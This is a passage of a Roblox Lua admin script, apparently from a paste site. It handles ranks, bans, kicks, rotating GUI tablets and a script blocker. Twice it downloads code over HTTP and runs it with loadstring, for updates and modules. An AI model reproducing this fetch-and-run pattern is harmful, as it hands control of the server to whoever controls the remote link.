  4931. startuptime=elapsedTime()
  4932. for i,plr in pairs(plrs:GetPlayers())do
  4933. plr.PlayerGui.DescendantAdded:connect(function(g)
  4934. checkgui(plr,g)
  4935. end)
  4936. plr.Backpack.DescendantAdded:connect(function(t)
  4937. checkbackpack(plr,t)
  4938. end)
  4939. if tonumber(getrank(plr))>=5 then
  4940. alert.c('Legit v'..ver..' running',ps.color(plr),plr,4)
  4941.  
  4942. alert.c('your rank: '..getrank(plr),ps.color(plr),plr,4)
  4943. _tab('say '..prefix..'cmds'..suffix..' to get your commands',ps.color(plr),plr,function()dmp(plr)chat("cmds",plr)end,'',4)
  4944. end
  4945. if getrank(plr)==-1 or inTable(banlist,plr.Name)then Kick(plr) end
  4946. end
  4947.  
  4948.  
  4949. alert.g('you are a admin!',4)
  4950. updateevents()
  4951.  
  4952. local function QuaternionFromCFrame(cf)
  4953. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components();
  4954. local trace = m00 + m11 + m22 if trace > 0 then
  4955. local s = math.sqrt(1 + trace);
  4956. local recip = 0.5/s;
  4957. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5;
  4958. else
  4959. local i = 0;
  4960. if m11 > m00 then
  4961. i = 1;
  4962. end;
  4963. if m22 > (i == 0 and m00 or m11) then
  4964. i = 2 end if i == 0 then
  4965. local s = math.sqrt(m00-m11-m22+1);
  4966. local recip = 0.5/s return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip;
  4967. elseif i == 1 then
  4968. local s = math.sqrt(m11-m22-m00+1);
  4969. local recip = 0.5/s;
  4970. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip ;
  4971. elseif i == 2 then
  4972. local s = math.sqrt(m22-m00-m11+1);
  4973. local recip = 0.5/s;
  4974. return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip;
  4975. end;
  4976. end;
  4977. end;
  4978.  
  4979. local function QuaternionToCFrame(px, py, pz, x, y, z, w)
  4980. local xs, ys, zs = x + x, y + y, z + z;
  4981. local wx, wy, wz = w*xs, w*ys, w*zs;
  4982. local xx = x*xs;
  4983. local xy = x*ys;
  4984. local xz = x*zs;
  4985. local yy = y*ys;
  4986. local yz = y*zs;
  4987. local zz = z*zs;
  4988. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  4989. end;
  4990.  
  4991. local function QuaternionSlerp(a, b, t)
  4992. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4];
  4993. local startInterp, finishInterp;
  4994. if cosTheta >= 0.0001 then
  4995. if (1 - cosTheta) > 0.0001 then
  4996. local theta = math.acos(cosTheta);
  4997. local invSinTheta = 1/math.sin(theta);
  4998. startInterp = math.sin((1-t)*theta)*invSinTheta;
  4999. finishInterp = math.sin(t*theta)*invSinTheta;
  5000. else
  5001. startInterp = 1-t finishInterp = t;
  5002. end;
  5003. else
  5004. if (1+cosTheta) > 0.0001 then
  5005. local theta = math.acos(-cosTheta);
  5006. local invSinTheta = 1/math.sin(theta);
  5007. startInterp = math.sin((t-1)*theta)*invSinTheta;
  5008. finishInterp = math.sin(t*theta)*invSinTheta;
  5009. else startInterp = t-1 finishInterp = t;
  5010. end;
  5011. end;
  5012. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp;
  5013. end;
  5014.  
  5015. function CLerp(a,b,t)
  5016. local qa={QuaternionFromCFrame(a)};
  5017. local qb={QuaternionFromCFrame(b)};
  5018. local ax,ay,az=a.x,a.y,a.z;
  5019. local bx,by,bz=b.x,b.y,b.z;
  5020. local _t=1-t;
  5021. return QuaternionToCFrame(_t*ax+t*bx,_t*ay+t*by,_t*az+t*bz,QuaternionSlerp(qa, qb, t));
  5022. end
  5023.  
  5024.  
  5025.  
  5026.  
  5027.  
  5028. spawn(function()
  5029. local rot = 0
  5030. while enabled do
  5031. rot = rot + .001
  5032. for i,v in pairs(tabs)do
  5033. if plrs:FindFirstChild(i)then else
  5034. for o,b in pairs(v)do
  5035. rem(b)
  5036. end
  5037. tabs[i]=nil
  5038. end
  5039. end
  5040. for Index, Player in pairs(Players:GetPlayers()) do
  5041. if not tabs[Player.Name]then tabs[Player.Name]={}end
  5042. pcall(function()
  5043. for x = 1, #tabs[Player.Name] do
  5044. if tabs[Player.Name][x] == nil or tabs[Player.Name][x].Parent == nil or tabs[Player.Name][x].Name=='x' or tabs[Player.Name][x].Name == nil or plrs[Player.Name]==nil then
  5045. table.remove(tabs[Player.Name], x)
  5046. end
  5047. end
  5048. end)
  5049. local rotstylez=ds.get(Player.Name,'rot')
  5050. local bt=0
  5051. if datastores then if ps.wave(Player.Name)==true then bt=1 end end
  5052.  
  5053.  
  5054. local tn=#tabs[Player.Name]
  5055. if rotstylez:sub(1,1)=='l'then
  5056. for x = 1, #tabs[Player.Name] do--------------------------------------------------------------------------------* CFrame.Angles(0, math.rad(360 / #tabs[Player.Name])---------------------------------- * CFrame.new(-5 - (1.2 * #tabs[Player.Name]), math.sin(tick()), 0)
  5057. local tb=tabs[Player.Name][x]
  5058.  
  5059. if Player.Character.Parent~=nil then if Player.Character:FindFirstChild'Torso' then
  5060. facet=6
  5061.  
  5062. local cftp=CFrame.new(Player.Character.Torso.Position)
  5063. local ddr=((#tabs-(#tabs%facet))/facet)+(#tabs%facet)
  5064. local meg=x
  5065. repeat meg=meg-facet ddr=ddr+1 until meg<facet if meg>0 then ddr=ddr+1 end
  5066. local megic =CFrame.Angles(0,math.rad((360/facet)*(x%facet)+rot*600),0)
  5067. local tp=CFrame.new(Player.Character.Torso.Position+(megic.lookVector*ddr*6))
  5068. local mst=math.sin(tick())
  5069. local mct=math.cos(tick())
  5070. local rx = mst
  5071. local ry = mct
  5072. local rz = 0
  5073. if rotstylez=='lrand' then tp=tp*CFrame.Angles(rx,ry,rz)end
  5074. if tb.Name~='x'then
  5075. tb.CFrame = CLerp(tb.CFrame, tp , .25)
  5076. end
  5077. end;end
  5078. end
  5079. else
  5080. for x = 1, tn do--------------------------------------------------------------------------------* CFrame.Angles(0, math.rad(360 / #tabs[Player.Name])---------------------------------- * CFrame.new(-5 - (1.2 * #tabs[Player.Name]), math.sin(tick()), 0)
  5081. if Player.Character then if Player.Character:FindFirstChild'Torso'~=nil then
  5082. local cftp=CFrame.new(Player.Character.Torso.Position)
  5083. local tb=tabs[Player.Name][x]
  5084. local radius=1.4*((tn)*.4)+4;
  5085. local rzz=(360/tn)*x
  5086.  
  5087.  
  5088. local xp=math.cos(((x/tn)-tn*2)*2*math.pi)*radius
  5089. local yp = math.sin(tick()/math.pi+((x)*bt))
  5090. local zp=math.sin(((x/tn)-tn*2)*2*math.pi)*radius--(math.sin((x/tn-(tn)+rot)*math.pi*2)*radius)
  5091. local mst=math.sin(tick())
  5092. local mct=math.cos(tick())
  5093. local rx = mst
  5094. local ry = mct
  5095. local rz = 0
  5096. local tp=cftp*CFrame.Angles(0,rot,0)*(CFrame.new(xp,yp,zp):inverse())--:toWorldSpace(CFrame.new(xp,yp,zp):inverse())--*CFrame.Angles(math.pi/180*2,math.pi/180*2,math.pi/180*2);
  5097.  
  5098. if rotstylez=='circlerand'then tp=tp*CFrame.Angles(rx,ry,0)end
  5099. if rotstylez=='flattab'then tp=tp*CFrame.Angles(0,-math.rad(rzz),0.4)end
  5100. if tb.Name~='x'then
  5101. tb.CFrame = CLerp(tb.CFrame, tp , .25)
  5102. else
  5103. tb.CFrame = CLerp(tb.CFrame, cftp , .25)
  5104. end
  5105. end;end
  5106. end
  5107. end
  5108. end
  5109. wait()
  5110. end
  5111. end)
  5112.  
  5113. coroutine.wrap(function()
  5114. while (wait(0)) do
  5115. for _,player in pairs(plrs:GetPlayers()) do
  5116. if not player.PlayerGui:FindFirstChild("MLG_CmdRemote1") then
  5117. local commandRemote = Instance.new("StringValue", player.PlayerGui)
  5118. commandRemote.Name = "MLG_CmdRemote1"
  5119. commandRemote.Changed:connect(function(value)
  5120. if (value ~= "") then
  5121. runas(commandRemote.Value,player)
  5122. commandRemote.Value = ""
  5123. end
  5124. end)
  5125. if not player.PlayerGui:FindFirstChild("ForCommandBar") then
  5126. Children.ForCommandBar:Clone().Parent = player.PlayerGui
  5127.  
  5128. end
  5129. end
  5130. end
  5131. banList = (banStore:GetAsync(banKey) or {});
  5132. for _, plyr in ipairs(game:service'Players':GetPlayers()) do
  5133. local banData = banList[tostring(plyr.UserId)];
  5134. if (banData) then
  5135. plyr:Kick("Banned by: " .. banData.BannedBy .. " - Days banned: " .. banData.Duration .. " - Reason: " .. banData.Reason);
  5136. end
  5137. end
  5138. wait(15);
  5139. end
  5140. end)();
  5141. --[[
  5142. end]]
  5143.  
  5144.  
  5145. --[[remmy=false
  5146. function removeothermusic()
  5147. remmy=true
  5148. while remmy do
  5149. wait(2)
  5150. m.stopmusico(workspace,true)
  5151. end
  5152. end]]
  5153. loadmodule=function(link)
  5154. local run,error=ypcall(function()
  5155. local SHttp = game:GetService("HttpService")
  5156. loadstring(SHttp:GetAsync(link,true) ) ()
  5157. wait(.05)
  5158. end)
  5159. if not run then print(error) end
  5160. end
  5161. repeat wait()until not enabled
  5162. print'Saving ranks,music and others'
  5163. wait(2)
  5164. print'Saved all'
  5165. wait()
  5166. wait(1.3)
  5167. print'Confirming.'
  5168. wait(1,3)
  5169. print'Confirming..'
  5170. wait(1.3)
  5171. print'Confirming...'
  5172. print'Legit tabs have fully been disabled'
  5173.  
  5174.  
  5175. delay(0,function()
  5176. if update then
  5177. local run,error=ypcall(function()
  5178. local Link = me
  5179. local SHttp = game:GetService("HttpService")
  5180. loadstring(SHttp:GetAsync(Link,true) ) ()
  5181. wait(.05)
  5182. end)
  5183. if not run then print(error) end
  5184. end
  5185. end)
  5186.  
  5187. --[[
  5188. explore = function(player, obj)
  5189. dmp (player);
  5190. if (not obj) then
  5191. _tab('Credit to tusKOr661 for making explore function <3','Hot pink',player)
  5192. for i, v in next, {'Workspace'; 'Players'; 'Lighting'; 'ReplicatedStorage';} do
  5193. _tab(v, (tostring(BrickColor.random())), player, function()
  5194. explore(player, game:service(v));
  5195. end);
  5196. end;
  5197. return;
  5198. end;
  5199. _tab('Destroy', 'Really red', player, function()
  5200. local objParent = obj.Parent;
  5201. if (pcall(game.Destroy, obj)) then
  5202. explore(player, objParent);
  5203. else
  5204. _tab('Failed to destroy object', 'Lime green', player);
  5205. end;
  5206. end);
  5207. _tab('Redirect to parent', 'Teal', player,function()
  5208. if (obj.Parent ~= nil) then
  5209. explore(player, obj.Parent);
  5210. end;
  5211. end);
  5212. _tab('Redirect to children', 'Lime green', player, function()
  5213. dmp(player);
  5214. for i, v in next, obj:getChildren() do
  5215. _tab(v.Name, 'Lime green', player, function()
  5216. explore(player, v);
  5217. end);
  5218. end;
  5219. end);
  5220. -- end of functions tablets
  5221. _tab('Name: ' .. obj.Name, 'Institutional white', player);
  5222. _tab('FullName: ' .. obj:getFullName(), 'Institutional white', player);
  5223. _tab('Parent: ' .. tostring(obj.Parent), 'Institutional white', player);
  5224. _tab('ClassName: ' .. obj.ClassName, 'Institutional white', player);
  5225. --You can add more information tablets here
  5226. end;
  5227. --]]
  5228.  
  5229. SendChat.MessageAll("[Legit]: Loaded ",BrickColor.new("Teal").Color,"Size24","SourceSansBold")
  5230.  
  5231.  
  5232. addcmd('explore', 'explores the game', 2,0, function(spkr) explore(spkr); end);
  5233. for _,v in pairs(game:GetChildren()) do
  5234. v.DescendantAdded:connect(function(obj)
  5235. if obj.ClassName == "Script" then
  5236. if Blocker.GlobalBlock == true then
  5237. obj.Disabled = true
  5238. obj:Destroy()
  5239. end
  5240. elseif obj.ClassName == "MainModule" then
  5241. if Blocker.LocalBlock == true then
  5242. obj.Disabled = true
  5243. obj:Destroy()
  5244. end
  5245. end
  5246. end)
  5247. end
  5248. --]]
  5249.  
  5250.  
  5251.  
  5252. --end)
  5253. return 0;
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement